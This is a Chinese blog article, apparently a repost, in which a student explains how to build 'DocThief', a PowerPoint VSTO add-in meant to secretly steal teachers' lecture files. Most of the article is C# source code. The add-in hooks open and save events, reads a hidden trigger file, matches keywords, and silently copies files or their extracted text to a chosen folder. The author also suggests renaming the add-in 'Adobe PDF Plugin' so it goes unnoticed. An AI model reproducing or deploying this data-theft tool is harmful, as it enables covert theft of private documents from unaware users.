原文见 http://www.5ushare.com/vsto/%e5%86%8d%e6%88%98office%e6%95%b0%e6%8d%ae%e5%ae%89%e5%85%a8.html作为学生,常常能碰到一些爱搞“隐私”的老师。这些老师往往不愿意轻易将自己的劳动成果给予他人。对于他们,咱们这些网络安全的爱好者也只能自己动手了。 现今来说,“拿”教师的课件的方法是一般有三种。其一是“U盘小偷”类软件,这类软件容易由于对工作条件要求比较高,一般“用户”都会将它置于启动项中,这样一来也未免有些过于招摇,而且这类软件拷贝的内容未经筛选,将取到大量无用文档,大大的浪费了咱们宝贵的容量;第二种便是“EasyRecovery”类软件,当老师把文档拷到本地的缓存文件夹时,这类软件能表现出非凡的能力,然而当老师直接在U盘的辅助存储器上播放课件时,这类软件也只能无力回天了。第三种是使用Office宏,但是由于宏的安全性这种方式有极大的限制性。 大家知道,MS Office提供了一系列插件接口,开发者可以通过调用其接口为Office开发新的特性。当这一个技术被非法利用的时候,一种新的方法诞生了:基于Office的插件系统开发数据盗窃软件。 我开发的DocThief ,是一款基于PowerPointCom组件加载系统的数据盗窃软件。其主要功能是监控PowerPoint事件,当有打开或保存某文档时执行盗窃动作。盗窃方式包括下面一些步骤:扫描该文档,发现符合自定义的规则(存在某关键字),则将其内容储存。储存方式分两种,既直接复制文件,或只提取文字,保存为文本文件。该软件的开发是基于Office 2005 + VSTO。VSTO全称VS Tool forOffice,是开发Office的工具,可在微软官网下载得到。其安装较为简易,在此,我不多做介绍。装完这款软件后,咱们便能开始VSTO之旅了。打开VS,在“新建项目”窗口的C#或VB下便有了Office选项,点击,有PowerPoint外接程序等。如图1:以下,我便直接从我的程序出发,给大家介绍一些简单的VSTO。 首先,便是程序中要用到的一些,变量,如下://目的文件名,默认值为”test.ppt”private string Str_DesFileName = “test.ppt” ;//目的文件路径,默认值为@”d:/”private string Str_DesFilePath = @”d:/” ;// 当前文档//VSTO 中,一个ppt既是一个Presentationprivate PowerPoint.Presentation CurPresention ;//保存文件的线程private System.Threading.Thread Thread_SaveFile ;接下来便进入程序了,笔者将以程序运行顺序,依次给大家介绍重要内容。VSTO在加载时,会运行private void ThisAddIn_Startup( object sender,System.EventArgs e),于是,咱们也就能在这儿进行初始化了。这款程序的初始化主要是读取用户的加载文件,如果需要既开始侦测事件。由于这是一款不太适合“招摇”的程序,因此也不可能在PowerPoint中写出一个加载项来让用户选择加载文件或填写各种信息,只能通过固定路径的方法来储存此加载文件。笔者在此是枚举所有盘符,并在各盘的根目录直接搜索此文件,若文件存在,则开始侦测,否则不侦测,代码如下:string[] Tmp = Environment.GetLogicalDrives();foreach ( string Str_Driver in Tmp ){if ( File.Exists ( Str_Driver + “Demand.dem” ) ){Str_DemandFilePath = Str_Driver + “Demand.dem”;break;}}if( string.Empty == Str_DemandFilePath ){return;}ReadDemand();开及保存事件侦测代码如下: this.Application.PresentationOpen +=new Microsoft.Office.Interop.PowerPoint.EApplication_PresentationOpenEventHandler( this.PresentationOpen );this.Application.PresentationSave +=new Microsoft.Office.Interop.PowerPoint.EApplication_PresentationSaveEventHandler( this.App_PresentationSave );this.PresentationOpen 及 this.App_PresentationSave 为自定义函数,但其参数已被限制,此内容将在后边介绍。下面,咱们便进入加载文件的读取。加载文件的内容模板如下:< DesPath = @”d:/wuys” > < DesName = “filename” > <KeyWord = “hi” > < IsOverwrite = false > < CopyMode =OnlyText >第一项为保存路径;第二项为文件名,当DesName为filename时,为原文件名;第三项为关键字,只当关键字存在时方拷贝文件,关键字可以有多项,也可以为空,为空时无论什么文件皆拷贝;第四项为同名时是否覆盖;最后一项为储存模式,有OnlyText或Copy两种选择。其具体内容,便是读取文件在解析表达式了,这段代码我就不写出来了。大家去光盘里面看看好了。其中,有出现Is_ToCopy(Str_KeyWord)函数,这是一个bool型函数,主要功能是处理关键字。在当前文档中搜索关键字。若关键字存在,则返回true,表示此文档需要拷贝,否则返回false。这个函数的是通过枚举的方法,将文档中的所有文字与Str_KeyWord相比较,若找到,则直接返回,否则继续,直至最后,返回false。以下,我便将这个函数全文拷贝过来,正好也能让大家了解一下VSTO中PowerPoint的结构。private bool Is_ToCopy(string Str_KeyWord){if (Str_KeyWord.Trim() == “”)return true;foreach (PowerPoint.Slide slide in this.Application.ActivePresentation.Slides){foreach (PowerPoint.Shape shape in slide.Shapes){//To see whether the Str_KeyWord exist in the Presentationstring tmp = shape.TextFrame.TextRange.Text;int i = tmp.IndexOf(Str_KeyWord);if (-1 != i )return true;}}return false;}在这两个foreach中,PowerPoint的结构比较清楚的展示出来了。其中,slide表示一页,shape则为一个元件,可以是PowerPoint中你能加入的任何一种元素。到此为止,初始化就算完成了,接下去的便是事件的驱动了,咱们也离隐蔽的文档近了一步。当事件发生时,咱们的函数也就跑了起来。由于侦测函数有严格的参数定义,以下全文给出。里边内容,大多前边都有介绍,便不多说了。private void PresentationOpen(PowerPoint.Presentation presentation){Str_SourceFileName = presentation.Name;Str_SourceFilePath = presentation.Path;CurPresention = presentation;if (Is_Copy){Thread_SaveFile = new System.Threading.Thread(SaveFile);Thread_SaveFile.Start();}}private void App_PresentationSave(PowerPoint.Presentation Pres){if (Is_Copy){SaveFile();}}最后,便是咱们的保存文件函数了SaveFile()。try//容错{string Str_Des;if (Is_OverWrite){//此为覆盖模式,直接用路径加上文件名。Str_Des = Str_DesFilePath + “//” + Str_DesFileName;}else{//非覆盖模式。string Str_FileName;string Str_FileSuff;//将文件名和后缀名分开。int Int_Pos = Str_DesFileName.LastIndexOf(’.');Str_FileName = Str_DesFileName.Substring(0, Int_Pos);Str_FileSuff = Str_DesFileName.Substring(Int_Pos, Str_DesFileName.Length - Int_Pos);if (File.Exists(Str_DesFilePath + “//” + Str_DesFileName)){int i = 1;//在文件名后边加数,以保证不覆盖其他文件。while (File.Exists(Str_DesFilePath + “//” + Str_FileName + i.ToString() + Str_FileSuff)){i++;}//由此便得到全路径及文件名。Str_DesFileName = Str_FileName + i.ToString() + Str_FileSuff;}Str_Des = Str_DesFilePath + “//” + Str_DesFileName;}if (0 == Int_CopyMode){//拷贝模式。File.Copy(Str_SourceFilePath + “//” + Str_SourceFileName, Str_Des, true);}else{//纯文本模式。StreamWriter SWrite = new StreamWriter(Str_Des);//设置此属性后,SWrite能自动刷新内容,将缓存储存。防止某些错误发生而导致的信息丢失。SWrite.AutoFlush = true;//这个想必大家都不陌生了,在前面有类似的出现过。通过枚举来获得所有可视文字。foreach (PowerPoint.Slide slide in this.Application.ActivePresentation.Slides){//在最前面加上页面信息SWrite.WriteLine(”Slide : Page ” + slide.SlideIndex.ToString());SWrite.WriteLine();foreach (PowerPoint.Shape shape in slide.Shapes){//容错模式,若没有此项,则因某shape没有TextRange.Text发生错误时,此shape后所有信息都无法保存,对咱们是一个很大的损失。try{string tmp = shape.TextFrame.TextRange.Text;tmp.Replace(”/r”, “/n”);SWrite.WriteLine(tmp);}catch (Exception Exception){//异常处理EventLog.WriteEntry(”SSPPDllMs”, “ERROR - ” + Exception.Message.ToString(), EventLogEntryType.Error);}}SWrite.WriteLine();}SWrite.Close();}}catch (Exception Exception){//异常处理EventLog.WriteEntry( “SSPPDllMs” , “ERROR - ” + Exception.Message.ToString(), EventLogEntryType.Error );}这样,咱们的文本小偷便完成了。咱们便能轻松“拿”到老师的隐蔽文档了。但是我的DocThief还有个问题,那就是在Office加载项里面会出现它可怜的身影,怎么办呢?我建议的解决方案是把他的名字改成Adobe PDF Plugin。这样就比较有迷惑性了…期待更好的解决方法,如果大家有什么好的想法和意见,请联系我吧。
再战Office数据安全
最新推荐文章于 2024-08-15 18:30:00 发布